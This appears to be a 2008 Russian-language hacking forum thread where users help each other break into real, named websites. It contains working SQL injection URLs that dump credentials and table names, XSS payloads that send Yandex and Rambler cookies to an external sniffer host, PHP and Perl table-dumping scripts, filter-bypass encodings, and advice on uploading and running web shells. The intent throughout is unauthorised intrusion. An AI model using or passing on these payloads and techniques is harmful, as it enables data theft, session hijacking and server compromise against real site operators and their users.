PDA

Просмотр полной версии : Ваши вопросы по уязвимостям.


Страницы : 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

Spyder
21.01.2008, 02:28
использовать concat, а не concat_ws
=)

Piflit
21.01.2008, 02:30
использовать concat, а не concat_ws
=)
я же написал, что там есть пустые поля и concat возвращает null

Spyder
21.01.2008, 02:34
я чё-то не понял наверное
select concat(col1,':',col2,':',col3) from table limit 0,1
предположим что у тебя колонка col2 имеет значение null
функция вернёт тебе
blabla1::blabla3

Да и concat_ws тоже самое вернёт вроде
щас тебе в асю стукну

Scipio
21.01.2008, 02:39
неа, я сейчас посмотрел Piflit правильно говорит, у меня вот как получилось:

SELECT concat_ws(':','ff',if (username <> '',username,'null')) FROM `user`

попробуй сам, у меня мускул 5, если функция concat получает хоть одно значение null, то возвращает null

например:
SELECT concat(':','ff',null) FROM `user` вернет null

Piflit
21.01.2008, 02:45
Piflit (01:42:38 21/01/2008)
среди этих полей есть нулл и весь конкат возвращает нулл - а дожен результат запроса

Piflit (01:42:58 21/01/2008)
а про конкат_вс поля едут - а мне надо выводить это в ровную табличку

Scipio
21.01.2008, 02:49
ну тогда делай по аналогии с моим примером, или дай структуру, ну вобщем поконкретней опиши, я наверное смогу помочь в этом вопросе

Spyder
21.01.2008, 02:56
http://biophysics.asu.edu/banf/show_files.php?user_id=-3+union+select+concat(user,':',password,':',host), 2,3+from+mysql.user+limit+2,1

здесь колонка password вернула null
всё выводится
зачем вам самим null подстовлять в функцию?

Scipio
21.01.2008, 03:14
незнаю, пробую на phpmyadmin, null подставляю сам просто для примера, пробую на реально существующей таблице, в которой есть значение null, concat выдает null, хм вот сейчас посмотрел mysql.user поле password у пользователя root, пустое, но не null, при этом concat действительно работает как говорит Spyder, а есть еще одна табличка там конкретно прописано, что значение поля username null, при выборке из этой таблички и этого поля concat выдает null, а concat_ws игнорирует, так как говорил Piflit

Скорее всего это связано с типами полей, хотя хз

Scipio
21.01.2008, 11:55
2PunkAss извини не было времени посмотреть, но вобщем то вот как твои проблеммы решаются:
http://cleverclub.nashe.ru/rating_d.asp?sender=1'/**/or/**/cast(@@version/**/as/**/int)='1

frigid20
21.01.2008, 14:56
уязвимость http://images.yandex.ru/
поиск ввожу </script><script>alert(document.cookie)</script> и появляется алерт пытаюсь сделать скрипт типа <script>img = new Image(); img.src = "http://s.netsec.ru/mda.gif?"+document.cookie;</script> тогда ничего не происходит он просто пытается это найти. как правильно использовать данную ксс?
----------------------------------------
на рамблере
ксс http://www.rambler.ru/db/support/feedback.shtml?name="<script >alert()</script>выводит алерт
пытался сделать скрипт типа <script img src="http://s.netsec.ru/mda.gif"> но мне на сниффер приходило только
Time: 20.01 -10.35.48
IP: 80.64.91.1
Host: http://www.rambler.ru/db/support/feedback.shtml?name="<script src="http://s.netsec.ru/frigid20.gif?" document.cookie;></script>
Browser: Mozilla/5.0
как правильно использовать данный ксс?

freddi
21.01.2008, 15:20
1) яндекс
там фильтруются ; ? " + поэтому твой скрипт и не работает.
2) рамблер
фильтруется +

необходимо использовать кодирование.

krypt3r
21.01.2008, 15:26
У меня в опере сработало вот так

http://www.rambler.ru/db/support/feedback.shtml?name=</td></tr></table><script>alert(99)</script>

frigid20
21.01.2008, 15:37
У меня в опере сработало вот так

http://www.rambler.ru/db/support/feedback.shtml?name=</td></tr></table><script>alert(99)</script>

под "сработало" ты имееш ввиду то что куки на сниффер пришли?

krypt3r
21.01.2008, 15:49
Нет, у меня под рукой нету снифера, так бы проверил. Закодируй + на %2b и в скрипте заюзай

location.href='http://путь_до_снифера.gif?'%2bdocument.cook ie

А еще лучше все закодируй, чтоб палева не было =)

freddi
21.01.2008, 15:55
для рамблера:

http://www.rambler.ru/db/support/feedback.shtml?name=<IMG%20SRC=javascript:location.href='адрес_с ифера'%2bdocument.cookie>

Macro
21.01.2008, 16:00
А еще лучше
http://www.rambler.ru/db/support/feedback.shtml?name=<script src=http://[путь к файлу с яваскриптом]></script>

либо

http://www.rambler.ru/db/support/feedback.shtml?name=<script>eval(unescape([тут эскейпенный код]))</script>

krypt3r
21.01.2008, 16:12
Короче, набросал на скорую руку снифер, нормально куки пришли с рамблера :)

frigid20
21.01.2008, 16:33
Короче, набросал на скорую руку снифер, нормально куки пришли с рамблера :)
респект! работает

frigid20
21.01.2008, 16:48
а с яндексом как? не могу чето ему целку вскрыть....

Macro
21.01.2008, 16:51
Так, как я написал про рамблер... Точно так же сработает

frigid20
21.01.2008, 16:59
Так, как я написал про рамблер... Точно так же сработает
но как я туда вставлю ссылку на сниффер? он ведь картинкой! а если я просто путь вставлю то кукисы не придут точнее придут но не кукисы а так мусор

Macro
21.01.2008, 17:00
но как я туда вставлю ссылку на сниффер? он ведь картинкой! а если я просто путь вставлю то кукисы не придут точнее придут но не кукисы а так мусор
Ссылку не на сниффер, а на файл, в котором код, отправляющий куки на сниффер

frigid20
21.01.2008, 17:33
Ссылку не на сниффер, а на файл, в котором код, отправляющий куки на сниффер
мм... я пока плохо разбираюсь в этом( а какой должен быть код в файле?

PunkAss
21.01.2008, 17:49
2PunkAss извини не было времени посмотреть, но вобщем то вот как твои проблеммы решаются:
http://cleverclub.nashe.ru/rating_d.asp?sender=1'/**/or/**/cast(@@version/**/as/**/int)='1
отлично, спс :) а можно этот запрос составить так, чтобы узнать какие ещё есть таблицы, а то тут только селект по одной таблице получается...

0nep@t0p
21.01.2008, 18:23
Хм, тут нарисовалась трабла. Я проводил скулю на сайтенге, и при -1 union select 1/*
выдается ошибка The used SELECT statements have a different number of columns, хотя order by показывает что полей именно 1, но это не важно, я начал работать с подзапросами и при -1 union select 1 from users/* вылезла ошибка Table 'dk.users' doesn't exist а при запросе -1 union select 1 from information_schema.tables почему то опять же вылезла The used SELECT statements have a different number of columns Значит ли это что information_schema.tables существует и к ней есть доступ ?

Basurman
21.01.2008, 18:31
Да. доступ к таблице есть.
Запросов может быть несколько.
пробуй union select 1,2/* и тд. пока не попадешь на праильное кол-во колонок

0nep@t0p
21.01.2008, 18:38
Да. доступ к таблице есть.
Запросов может быть несколько.
пробуй union select 1,2/* и тд. пока не попадешь на праильное кол-во колонок
А разве если бы кол-во колонок было неверное мне бы выпадало Table 'dk.users' doesn't exist ?
А, все, пасиб Basurman
Подбирать поля - лень, я нашел более удобную скулю на этом же сайте, доступ к information_schema действительно существует =) Еще раз всем пасиб

Basurman
21.01.2008, 18:45
да. именно так и происходит

Scipio
21.01.2008, 23:12
отлично, спс :) а можно этот запрос составить так, чтобы узнать какие ещё есть таблицы, а то тут только селект по одной таблице получается...
вот смотри:
http://cleverclub.nashe.ru/rating_d.asp?sender=1'/**/or/**/cast((SELECT/**/TOP/**/1/**/table_name/**/From/**/information_schema.tables/**/where/**/table_name/**/not/**/in/**/('Rating1','HelpMessage'))/**/as/**/int)='1
в скобки, которые после not in подставляй очередное полученное имя таблицы и таким образом перебирай имена всех таблиц, а вобще почитай вот эту статью: Провидение Иньекций в MSSQL сервер от Microsoft (http://forum.antichat.ru/thread30501.html)

PunkAss
22.01.2008, 00:30
текст
можно было просто тыкнуть в статью, я её не читал :D пасиба, вопрос закрыт.

frigid20
23.01.2008, 11:56
я подобрал количество колонок но нет полей для вывода как поступать?

+toxa+
23.01.2008, 12:18
брутить посимвольно.

AFoST
23.01.2008, 12:19
Если известен путь к папке с правами на запись и видной из веба, попробуй записать в файл
-1 union select 1,2,...,n from some_table into outfile "/path/www/file.txt"/*


blackybr: + from

fobofob
23.01.2008, 19:19
Короче искал инъекцию,а нашел интересную уязвимость,дело в том что я сижу с телефона,и браузер опера мини(java) при загрузке объемных страниц ,разбивает их на несколько(в зависимости от веса,картинок,и т.д),так вот при составлении запроса на sql инъекцию таким образом: http//site.ru/?item=1+order+by+100/*,страница из скажем 15кб разрослась до 1500кб,тоесть просто размножился текст в 100 раз,и при этом выдало такую ошибку:PHP Fatal error: Maximum execution time of 60 seconds exceeded in E:\xxx.ru\wwwroot\lost\index.php on line 287.

Вопрос такой:с чем это связано и значит ли что если я увеличу число в запросе,к примеру до 1000000,то получится типа ддос атаки?

iddqd
24.01.2008, 13:01
Вопрос такой:с чем это связано и значит ли что если я увеличу число в запросе,к примеру до 1000000,то получится типа ддос атаки?
Имхо, ты скорее всего заддосишь собственный телефон:)

Spyder
24.01.2008, 17:09
-1 union select 1,2,...,n from some_table into outfile "/path/www/file.txt"/*


blackybr: + from
Последний раз редактировалось AFoST, Вчера в 18:39. Причина: Спасибо blackybr
ога, блекибр прочитал в умной статье или умной книжке что использование into outfile обязательно происходит с выборкой из какой либо таблицы, тут даже Елект пытался это доказать, видимо вы на локалхосте никогда не выполняли select 1 into outfile '/tmp/blabla.txt', ставлю штуку баксов что при наличии файл прив и папки доступной на запись создасться файл blabla.txt с записью 1\n, и без всяких там from some_table
кароче бред)

AFoST
24.01.2008, 17:56
ога, блекибр прочитал в умной статье или умной книжке что использование into outfile обязательно происходит с выборкой из какой либо таблицы, тут даже Елект пытался это доказать, видимо вы на локалхосте никогда не выполняли select 1 into outfile '/tmp/blabla.txt', ставлю штуку баксов что при наличии файл прив и папки доступной на запись создасться файл blabla.txt с записью 1\n, и без всяких там from some_table
кароче бред)
Умный спайдер, ты читать умеешь? Там написано
-1 union select

Spyder
24.01.2008, 18:56
AFoST, и чё дальше?
ты бы лучше убрал from some_table и поробовал записать файл без этой хни, а потом бы тут отписал, ога?

Scipio
24.01.2008, 19:05
into outfile можно в любое место вставить, хотя после select 1, хоть после union select 1, хоть после limit или order by

AFoST
24.01.2008, 21:37
AFoST, и чё дальше?
ты бы лучше убрал from some_table и поробовал записать файл без этой хни, а потом бы тут отписал, ога?
Попробовал на локалхосте. И правда работает =\ Spyder, беру свои слова обатно. Хотя при sql-инъекции раньше сколько нет пробовал - никогда не получалось =\

krypt3r
25.01.2008, 09:00
ставлю штуку баксов что при наличии файл прив и папки доступной на запись создасться файл blabla.txt с записью 1\n, и без всяких там from some_table

Если стоит мускуль третьей версии, штуку можно и проиграть =) А если же 4-5 версии, то да, from some_table не нужно

Jes
25.01.2008, 20:03
hmm , что можно сделать если точка меняется на _ (xss) ? :/

Talisman
25.01.2008, 20:12
hmm , что можно сделать если точка меняется на _ (xss) ? :/
a src="" не пашет?

Jes
25.01.2008, 21:40
ага , получается http://www_mysite_ru/

db_reader
25.01.2008, 22:27
Здраствуйте :)
Возник вопрос:
К примеру через скуль могу прочитать файл, /etc/passwd , он такого вида:
: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh Debian-exim:x:102:102::/var/spool/exim4:/bin/false plusdeux34:x:1000:1000:plusdeux34,,,:/home/plusdeux34:/bin/bash sshd:x:100:65534::/var/run/sshd:/bin/false mysql:x:101:104:MySQL Server,,,:/var/lib/mysql:/bin/false bind:x:103:105::/var/cache/bind:/bin/false postfix:x:104:107::/var/spool/postfix:/bin/false web:x:1002:1001::/var/www/web/: vmail:x:5000:5000::/var/spool/vmail/: sepro:x:1003:1003:SSH Sepro,1,,:/home/sepro:/bin/bash clamav:x:109:109::/var/lib/clamav:/bin/false amavis:x:105:110:AMaViS system user,,,:/var/lib/amavis:/bin/sh dcc:x:106:111:DCC System User:/var/lib/dcc:/bin/false dspam:x:107:112:DSPAM,,,:/var/spool/dspam:/bin/false ntp:x:113:113::/home/ntp:/bin/false spampd:x:114:114::/nonexistent:/bin/false
Что мне это даст? Ничего там понять не могу... :(
Просто зелёный ещё совсем, поможет ли мне это залить шелл, и какую информацию я из этого /etc/passwd могу подцепить? Ногами не пинайте плз...
Ткните на ссылку-поиск замучил-ничё не нашёл. Спасибо.

+toxa+
26.01.2008, 00:26
кроме имён пользователей и их хом дир ничего

bandera
26.01.2008, 00:31
Вообщем есть инекция, но стоит фильтрация на union и select, при добавлении union либо select в запрос срабатывает редирект на другой сайт. Можно ли тут что то сделать? Как это обойти?

blackybr
26.01.2008, 00:34
не свеб.ру?) попробуй передать через кукисы, пост.. на свебе например фильтр только на гетовые переменные

bandera
26.01.2008, 00:40
не свеб.ру?) попробуй передать через кукисы, пост.. на свебе например фильтр только на гетовые переменные
не, не свеб.ру, т.е. передать через кукисы, попробывать внедрить инекцию в переменные куксов? а если куксов нет на сайте :) можно как нибудь зашифровать?

blackybr
26.01.2008, 00:42
допустим переменная xek=123
то ты также пробуешь передать ее или постом.. или в кукисах..

union и select никак не обойдешь.. правда если на селект нет фильтра то можно подзапросами, или на оба ?

bandera
26.01.2008, 00:46
да, на оба


blackybr:
тогда напрямую обойти не получится.
естественно я этого не утверждаю, т.к. не знаю что там за код.. а вслепую врядли.

KIR@PRO
27.01.2008, 00:26
помогите плиз с этим:

http://www.uralweb.ru/rating/index.php?rating_sel="123

Dr.Z3r0
27.01.2008, 00:49
Там посимвольный брут вот http://forum.antichat.ru/showpost.php?p=565034&postcount=4 тебе в руки.

Derec
27.01.2008, 03:08
Скажите пожалуйста, если таблицы выводятся посредством limit, и их очень много, как можно автоматизировать процесс?

Girsoft
27.01.2008, 03:40
помогите ребята с скуль иньекцией.
Если ввожу адрес:
modules.php?name=News&pagenum=2'то вылазит ошибка:
1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '192.168.137.'' at line 1
1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/modules.php?name=News&pagenum=2'')' at line
а если пишу всякую хрень БЕЗ ковычки, то ошибки нету... Можно ли этоим воспользоваться?

и ещё вопрос: если есть локальный инклуд, но фильтруются .. (две подряд идущие точки), то можно ли воспользоваться этим инклудом, если необходимо подняться на несколько уровней вверх?

fervex
27.01.2008, 17:13
Здравствуйте! :)

Подскажите, как залить шелл на сервер, если есть логин и пароль администратора DataLife Engine (апдейт конца 2007 года)?

Спасибо! :)

Sharingan
27.01.2008, 18:29
Может кто подскажет, видно что есть sql инжект. все подходит , но начинаю подбирать поля, и бесплоезно сколько бы не ставил там 1,2...30/* и все равно The used SELECT statements have a different number of columns, и что делать мож кто подскажет?

Constantine
27.01.2008, 18:33
Скажите пожалуйста, если таблицы выводятся посредством limit, и их очень много, как можно автоматизировать процесс?
банальный дампер на пхп или перл, учти что в логах будет много какашек
скрипт:
<?php
set_time_limit(0);
ignore_user_abort(true);
$s=1;
$f=39913;
$fph = fopen ("result.txt", 'a+');

for ($i=$s; $i<=$f; $i++) {
$aps = file_get_contents("[твой сайт и путь до уязвимого скрипта]=-1+union+select+concat(0x3a3a3a,table_name,0x3a3a3a )+from+information_schema.tables+limit+".$i.",1/*");
$res=null;

$pattern ="/:::(.+):::/";
preg_match_all($pattern, $aps, $out);
$res=array_values(array_unique($out[0]));
fputs ($fph, $res[0]."\r\n");

sleep (5);
}
fclose ($fph);
?>

а если пишу всякую хрень БЕЗ ковычки, то ошибки нету... Можно ли этоим воспользоваться?
Писать не хрень, а запрос мб?

Dr.Z3r0
27.01.2008, 18:34
Может кто подскажет, видно что есть sql инжект. все подходит , но начинаю подбирать поля, и бесплоезно сколько бы не ставил там 1,2...30/* и все равно The used SELECT statements have a different number of columns, и что делать мож кто подскажет?
Попробуй перебирать с помощью ORDER BY. Почитай об этом тут http://forum.antichat.ru/thread43966.html.

А еще там может быть два запроса с разным количеством полей. В этом варианте посимвольный брут.

Sharingan
27.01.2008, 18:43
ордер бай не пашет, вроде
http://atv.worcsracing.com/tracks.php?ID=-1+union+select+1/*
посмотрите кто нить как там

ElteRUS
27.01.2008, 18:50
ордер бай не пашет, вроде
http://atv.worcsracing.com/tracks.php?ID=-1+union+select+1/*
посмотрите кто нить как там

Пашет, попробуй так

http://atv.worcsracing.com/tracks.php?ID=-1+order+by+26/*

и так

http://atv.worcsracing.com/tracks.php?ID=-1+order+by+25/*


http://atv.worcsracing.com/tracks.php?ID=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,1,1,1,1,1,1/*

4.0.21-nt/worcsatv/root@localhost

.Slip
27.01.2008, 19:28
Скажите пожалуйста, если таблицы выводятся посредством limit, и их очень много, как можно автоматизировать процесс?
Полчаса назад писал для себя:
#!/usr/bin/perl

use LWP::UserAgent;

$ua = LWP::UserAgent->new;

$x=0;
$y = $ARGV[0];
open(TT,">","mda.txt") or die "$!";
while ($x<=$y)
{
$omfg = $ua->get("СКУЕЛЬ")->content;
$omfg =~m%:::(.*?):::%i)
$table = $1;
print TT $table, "\n";
$x++;
}
close TT;

В get("СКУЕЛЬ") должна быть скуль вида:
http://site.com/index.php?id=1+union+select+concat(0x3a3a3a,table_ name,0x3a3a3a)+from+information_schema.tables+limi t+$x,1/*

Участки выделенные красным обязательны в запросе. Запускаешь скрипт, вводишь кол-во таблиц/полей/ещё чего то, которое нужно сдампить. Всё сохраняет в текстовик mda.txt

ЗЫ Писалось на скорую руку для себя, так что любители дое*аться к коду идут лесом(:

Derec
27.01.2008, 21:51
.Slip , Constantine, спасибо за отклик! Только вот не бейте ногами, объясните как ентот скрипт в винде то запустить:(

AFoST
27.01.2008, 21:57
устанавливаешь perl-интерпретатор. Потом
пуск->
выполнить->
cmd->
<путь к интерпретатору>/perl.exe <путь к скрипту>/script.pl

.Slip
27.01.2008, 22:14
.Slip , Constantine, спасибо за отклик! Только вот не бейте ногами, объясните как ентот скрипт в винде то запустить:(
Или так как написал Afost, или одно из двух(:

Если большая база (мне пришлось 1к. дампить), то что бы не спалиться дико, запускай с шелла. Заливай файл с расширением .pl на сервер, и запускаешь такой командой:
perl blablabla.pl 400
где 400 - нужное кол-во записей для сохранения. Скорей всего тебя скинет с шелла, т.к. скорость работы скрипта невысокая (будет тайм-аут), то ждёшь энное время и заходишь заново в папку , там уже должен лежать файл mda.txt . Если его размер 0 байт, то ждёшь ещё= ) Если всё таки хочешь запускать со своего компа, то ставишь актив перл и в cmd пишешь blablabla.pl 400

Derec
27.01.2008, 22:25
Aга, спасибо. Но вы уж простите, не могу отблагодарить плюсиком:( А вот этот шелл он должен быть получается на локальном хосте?

.Slip
27.01.2008, 22:26
Нет, как раз с локалхоста ты можешь запустить через консоль(цмд). Шелл должен быть на любом стороннем серванте.

ZAMUT
27.01.2008, 22:28
Так же не забываем про тулзу от SQLHack'a =)
на днях пришлось дампить 37к, так что как вариант)

AFoST
27.01.2008, 22:30
Как делал я.
1)Писал подобный скрипт но на пхп.
2)заливал на хост и ставил диапазон 1..1000(например)
3)запускал
4)скрипт через некоторое время переставал работать, я смотрел на конечную запись и дописывал в скрипт нужный диапазон (например 439..1000)

Derec
27.01.2008, 22:33
АГА, а ваше мнение какой вариант лучше?
З.Ы. А Я могу оценить если репут. не меньше 10?

.Slip
27.01.2008, 22:35
АГА, а ваше мнение какой вариант лучше?
З.Ы. А Я могу оценить если репут. не меньше 10?
Я же написал, что если база небольшая, то можешь и с локалхоста запускать. Если база большая, то запускай с шелла (если он у тебя есть)

Derec
27.01.2008, 22:40
Теперь понял, спасибо за оказанную помощь!!!

.Slip
28.01.2008, 07:39
плз, доковыряйте ктото, у мя ума не хватает, а то намучался, так, что аж денвер пришлось устанавливать, чтоб не писать в ручную все колонки, скрипт забацал на вывод цифры и плюсика до 146 штук :D
а вещь-то думаю ценная, там платный мембершип и тп.

ну эт не главное, меня деньги не интересуют, меня больше процесс, так что главное распишите плз, что делали дальше, если получится :cool:

:confused: никак не подберу таблички и колонки, а information_schema.tables показывает "CHARACTER_SETS" а какой с него толк :mad:Access Denied

.Slip
28.01.2008, 08:02
Таблицы:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
OLD_gathering
OLD_logos
bademails
chronjobs
chronjobs_old
david
email_settings
forum
gathering
jobs
jobs_categories
jobs_education
jobs_education_bu
jobs_focus
jobs_languages
jobs_my
jobs_my_search
jobs_states
keywords
logos
may2206
my_users
my_users32106
my_users_BACKUP_6_25_07
my_users_basic
my_users_bu
my_users_bu_jul_9_2007
noa_phone
phonebank_settings
privs
queries
tbl
temp103021435
to_import
transactions
update06_25_2007
user_groups
web_navigation
web_pages
web_pages_BACKUP
Дальше сам.

blackybr
28.01.2008, 09:30
в хекс переводи, hex(my_users)=0x6d795f7573657273

table_name=0x6d795f7573657273

AFoST
28.01.2008, 12:27
в хекс переводи, hex(my_users)=0x6d795f7573657273

table_name=0x6d795f7573657273
или char(my_users)=char(109,121,95,117,115,101,114,115 )

krypt3r
28.01.2008, 14:23
вопрос специалистам.
При проведении XSS при вводе код
alert(99)
заменяется на
alert&*#40;99&*#41;
(без звездочек)
Возможно ли обойти это и провести XSS? Можно ли заменить круглые скобки чем-то еще?

it's my
28.01.2008, 14:25
alert(99)
заменяется на
alert(99)

а разница какая?

krypt3r
28.01.2008, 14:41
Поправил уже

AFoST
28.01.2008, 14:48
При проведении xss-кражи куков тебе возможно и не потребуются эти символы. Или тебе прямо обязательно нужен alert(99)?

Spyder
28.01.2008, 14:50
чтоб не писать в ручную все колонки, скрипт забацал на вывод цифры и запятой до 146 штук
давно какт о тоже нопесал :D

#!/usr/bin/perl
while (1) {
print "\n\nNumber of columns\n";
$id = <STDIN>;
chomp ($id);
$x = 1;
print "-1+union+select+";
while ($x < $id) {
print "$x,";
$x++;
}
if ($x = $id) {
print "$x/*";
}
}

krypt3r
28.01.2008, 15:13
При проведении xss-кражи куков тебе возможно и не потребуются эти символы. Или тебе прямо обязательно нужен alert(99)?

Нет, необязателен алерт :) Но, например,

var i=new Image();
...

уже не прокатит. Да и уязвимость в тэге a - есть желание запихать ксс в style, где юзается url() - также со скобками

AFoST
28.01.2008, 15:21
1)принудительно закрыть тег <a> и прописать <script>...</script>
2)

<a href="javascript:alert('XSS')">click</a>


=decoded=
<a href="javascript:alert('XSS')"></a>

AFoST
28.01.2008, 15:37
Вот ещё несколько вариантов

<a href="j\;a\;v\;a\;s\;c\;r\;i\;p\;t\;:\;a\;l\;e\;r\;t\;(\;'\;X\;S\;S\;'\;)\;">click</a>

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">click</a>

<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">click</a>

<a href="javascript:alert&#x28;xss&#x29;">click</a>

<a href="javascript:alert(\;xss)\;">click</a>

<A HREF="http://66.102.7.147/">click</A>

<A HREF="http://1113982867/">XSS</A>

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>


все "\;" заменить на ;

krypt3r
28.01.2008, 15:53
Сенкс за наводку, попробую, но сразу скажу, там обрабатываются таким же образом и амперсанд, и кавычка, и апостроф (обратный апостроф не фильтруется)

Dimi4
28.01.2008, 19:45
Я загрузил на сервер шелл с именем img.php.gif
но сервер загрузил как img.php.1201468364.gif
каким образом мне запустить шелл?

l-l00K
28.01.2008, 19:58
Ищи на сайте локальный инлкуд и инклудь свой шелл

Dr.Z3r0
28.01.2008, 20:19
Я загрузил на сервер шелл с именем img.php.gif
но сервер загрузил как img.php.1201468364.gif
каким образом мне запустить шелл?
Попробуй загрузить кратинку с именем img.php%00.gif
Вероятность мала но все же есть что твой файл чудесным образом превратиться на сервере в img.php

Dimi4
28.01.2008, 20:40
Попробуй загрузить кратинку с именем img.php%00.gif
Вероятность мала но все же есть что твой файл чудесным образом превратиться на сервере в img.php

Непрошло..
Кста стоит тама e107
я юзал вот ето
_http://milw0rm.com/exploits/4099

ReVOLVeR
29.01.2008, 17:28
Привет.У меня есть вопрос...

мой провайдер (raid.ru) использует какуюто особую программ
для работы пользователя с бд Programm ppo.c version 1.7
смог выжать конфиг в котором как понял прописаны все бд /var/www/db.raid.ru/cgi-bin/ora_agent.cfg
запросы формируются странным образом
https://db.raid.ru/cgi-bin/ppo/es_webface/point_access.services

es_webface название бд как я понял
point_access -хз
services -действие

если кто что знает подскажите...

Scipio
29.01.2008, 19:19
Я так и не понял в чем вопрос? point_access - оракловский пакет, services -процедура

ReVOLVeR
29.01.2008, 19:43
что есть:
Programm ppo.c version 1.7
каким образом формируются запросы
есть ли вариеции инжэкта через этот скрипт

Scipio
29.01.2008, 19:50
вот погуглил нашел _http://oraclub.trecom.tomsk.su/util/webagent.htm
программа предназначена для связывания самого попу-
лярного веб сервера Apache и самого популярного сервера
баз данных OracleПрограмма просто передает на исполнение и забирает
результат родных Oracl'овских пакаджей

оффтоп: Ура, батарейка

fobofob
31.01.2008, 00:50
Возможно раскрутить такую скуль,и если да то как?
Заранее спасибо.
код:

http://www.yerevan.ru/news/print.php?id=999+order+by+1/*

l-l00K
31.01.2008, 01:18
С помощью BENCHMARK-ка только получилось
http://www.yerevan.ru/news/print.php?id=128%20and%20id=IF(SUBSTRING(version() ,1,1)=4,1,BENCHMARK(299971,MD5(NOW())))

AFoST
31.01.2008, 02:19
Можно ли в теге
<a href="123" <здесь> " target="_blank" class="bb-url"> 234 </a>
вставить javascript, который будет исполняться сразу при заходе на страницу(не выпонляя никаких действий)? Пробовал следующие варианты, но безрезультатно...

style=background-image:url(javascript:alert(1);)
sss='alert(1);this.sss=null' style='top:expression(eval(this.sss);)'
style=url(javascript:alert(1);)

fobofob
31.01.2008, 02:25
С помощью BENCHMARK-ка только получилось
http://www.yerevan.ru/news/print.php?id=128%20and%20id=IF(SUBSTRING(version() ,1,1)=4,1,BENCHMARK(299971,MD5(NOW())))

а подробней можно,что это дает?

Scipio
31.01.2008, 03:11
fobofob, вот здесь подробней http://forum.antichat.ru/thread35207.html

смысл в использовании подзапросов, т.е. если логическое выражение SUBSTRING(version(),1,1)=4 правильное, то просто id сравнивается с 1, а если неправильное, то выполняется BENCHMARK(299971,MD5(NOW())), а это достаточно долго, т.е если логическое выражение правильное, то запрос выполнится сразу, а если неправильное, то "загрузка" страницы ненадолго "зависнет"

krypt3r
31.01.2008, 09:29
AFoST, JavaScript внутри style работает только в ИЕ. В других браузерах не получится

AFoST
31.01.2008, 13:29
AFoST, JavaScript внутри style работает только в ИЕ. В других браузерах не получится
Хреново :-( Другие варианты вобще есть для ФФ и оперы? А то жалко терять xss на таком ресурсе :-)

krypt3r
31.01.2008, 14:33
Видимо, нет. Рад был бы ошибиться. Для тэга A разве что прописать события onclick, onmouseover и т.д., но минусы тут очевидны - потребуется какое-то действие от пользователя

AFoST
31.01.2008, 14:44
onmouseover, onclick это само собой..ладно, спасибо за помощь!

Dimi4
02.02.2008, 12:40
Привет! Если я знаю логин и пасс админа в ютуб, как можно залить шелл?

Macro
02.02.2008, 13:03
А если я знаю логин и пасс от админки google, как мне туда шелл залить??

PS ближе к телу, какой движок. Попробуй залить вместо видео =/

Dimi4
02.02.2008, 13:05
Вместо видео некан.
ЫЫ.. а как движок узнать?

Macro
02.02.2008, 13:06
Вместо видео некан.
ЫЫ.. а как движок узнать?
Если подписано внизу страницы что-то типа Powered by ***

Или надо искать по дорку такие же движки, где подписано...

Dimi4
02.02.2008, 13:10
в том дело что нет поверед бай, и в админке нет. В админке могу редактировать наблоны *.tpl, знаю их полный адрес

Dimi4
02.02.2008, 13:12
вот по дорку узнал
Copyright © 2008 Powered By TeacherTube, LLC

Macro
02.02.2008, 13:14
в том дело что нет поверед бай, и в админке нет. В админке могу редактировать наблоны *.tpl, знаю их полный адрес
Тогда это что-то типа clipshare или vshare youtube clone. Если редактирование получается, тогда вставляй между тегами {php}{/php} произвольный php код, это шаблоны smarty скорее всего. На странице, темплейт которой ты отредактируешь - код будет исполняться.

Constantine
02.02.2008, 19:53
xxx в Sql hex, без кавычек. Кодер здесь --> http://hack-shop.org.ru/tools-code-encode

AFoST
02.02.2008, 21:22
вопрос в следующем:

как в схеме +from+information_schema.columns+where+table_name= 'xxx'/*

заменить кавычки вокруг слова xxx ??????

вылетает следующее:


если юзать +from+information_schema.columns+where+table_name= char(39)xxx'/*
то выводит:



первая хавается, а вторая нет.

если +from+information_schema.columns+where+table_name= char(39)xxxchar(39)/*

то:



последний чар сливается со словом....
с хексом ситуация такая же!
если заменить 'xxx' (с кавычками вместе) на чар или хекс, то всё идет гуд, ошибки нету, но просто не выводятся данные, то есть нету тех циферок, которые пробиваются на страничке (надеюсь вы меня поняли) =)

